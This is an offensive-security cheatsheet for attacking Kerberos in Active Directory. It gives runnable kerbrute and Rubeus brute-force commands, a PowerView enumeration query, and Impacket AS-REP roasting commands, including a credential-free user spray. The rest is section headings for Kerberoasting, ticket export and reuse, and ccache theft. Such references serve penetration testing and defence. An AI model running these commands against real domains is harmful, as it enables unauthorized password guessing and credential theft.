Kerberos cheatsheet
Bruteforcing
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file># with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>ASREPRoast
Enumeration
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | flLinux (Impacket)
# With credentials
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# No credentials - spray a user list
GetNPUsers.py <DOMAIN>/ -dc-ip <dc_ip> -no-pass -usersfile valid_ad_users
# Single user no password
python3 GetNPUsers.py COMPANY.local/james -no-pass -dc-ip 172.16.1.20Windows (Rubeus)
Cracking
SPN Service Principal Name Overview
Kerberoasting
Enumeration
Impacket (Linux)
Rubeus
PowerShell
Native PowerShell (.NET)
Cracking
Mimikatz Ticket Export
Targeted Kerberoasting (via GenericAll/GenericWrite)
Harvest tickets from Windows
Using ticket in Linux:
Using ticket in Windows
Misc
Keytab File Extraction
Import and Use a Keytab
SSH with Kerberos Principal
Ccache Impersonation
Check Ccache Validity
Use a Ccache File
Use Ccache Through a Proxy
Linikatz — Machine Account Authentication
Ticket Conversion
Transfer Ccache Off Target
krb5.conf Setup
/etc/hosts Setup
Tools
Last updated